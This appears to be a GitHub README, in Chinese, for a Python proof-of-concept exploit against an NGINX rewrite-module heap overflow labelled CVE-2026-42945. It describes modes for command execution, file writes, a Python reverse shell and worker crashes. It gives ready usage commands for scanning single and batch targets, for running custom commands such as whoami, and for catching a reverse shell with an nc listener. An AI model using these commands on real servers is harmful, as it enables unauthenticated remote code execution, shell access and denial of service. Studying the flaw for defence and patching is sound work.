nanwinata/nginxrift-CVE-2026-42945
GitHub: nanwinata/nginxrift-CVE-2026-42945
针对 NGINX Rift(CVE-2026-42945)堆缓冲区溢出漏洞的概念验证工具,支持多模式远程代码执行检测与利用。
Stars: 2 | Forks: 3
# NGINX Rift RCE 漏洞利用 (CVE-2026-42945)
一款专业的概念验证 工具,用于研究和识别 NGINX Rift 漏洞,这是 ngx_http_rewrite_module 中的一个严重堆缓冲区溢出漏洞。
## 漏洞概述
- CVE ID:CVE-2026-42945
- 别名:NGINX Rift
- 严重程度:严重 (CVSS 9.2)
- 受影响版本:NGINX 0.6.27 至 1.30.0
- 根本原因:在使用未命名 PCRE 捕获 ($1、$2) 以及包含 ? 的替换字符串时,两阶段 rewrite 引擎中出现大小不匹配错误。
- 影响:未经身份验证的远程代码执行 或拒绝服务。
## 功能特性
- 多模式支持:通过单个 URL 或 .txt 文件中的批量列表进行测试。
- 多种漏洞利用方法:
- id:执行 id 命令(默认)。
- sleep:基于时间的验证(适用于盲注 RCE)。
- write:尝试将文件写入常见的 Web 根目录。
- shell:发送基于 Python 的反弹 shell。
- crash:触发简单的工作进程崩溃。
- 颜色编码界面:为易受攻击(绿色)、安全(红色)和调试(黄色/蓝色)状态提供清晰的视觉指示。
- 详细日志记录:为研究人员提供详细的套接字级别交互信息。
## 使用说明
### 1. 单目标扫描
```
python3 poc.py --url http://target.com --method id
```
### 2. 多目标批量扫描
创建一个名为 targets.txt 的文件,每行包含一个 URL:
```
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
```
然后运行:
```
python3 poc.py --list targets.txt --method sleep
```
### 3. 自定义命令与详细模式
```
python3 poc.py --url http://target.com --cmd "whoami" --verbose
```
### 4. 反弹 Shell
首先启动您的监听器:nc -lvp 1337
```
python3 poc.py --url http://target.com --method shell --listen-ip [YOUR_IP] --listen-port 1337
```
## 理解结果
- [+] VULNERABLE (绿色):漏洞利用触发了内存损坏特征。如果与 sleep 一起使用,请检查响应时间是否与睡眠持续时间相符。
- [-] Target not vulnerable (红色):漏洞利用无法使用提供的内存候选地址触发崩溃。
- [DEBUG] (黄色/蓝色):有关堆喷射 和候选地址的背景信息。
## 要求与限制
- Python 3.x:无需外部库(使用标准 socket 和 argparse)。
- ASLR:此 PoC 使用静态内存地址。在启用了 ASLR 的系统上,除非提供内存泄露,否则漏洞利用可能只会导致拒绝服务,而无法实现 RCE。
- 安全加固:出站过滤(防火墙)可能会阻止 curl 或 shell 方法将数据发送回给您。请使用 sleep 方法进行最可靠的确认。
## 免责声明
本工具仅供教育目的和授权安全审计使用。作者不对因滥用或使用此脚本造成的任何损害负责。在对任何基础设施进行测试之前,请务必获得明确的许可。
标签:CISA项目, CVE-2026-42945, DoS, Maven, NGINX Rift, ngx_http_rewrite_module, PoC, Python, RCE, Web报告查看器, 反向Shell, 堆缓冲区溢出, 拒绝服务攻击, 无后门, 时间盲注, 暴力破解, 漏洞验证, 编程工具, 网络安全, 远程代码执行, 隐私保护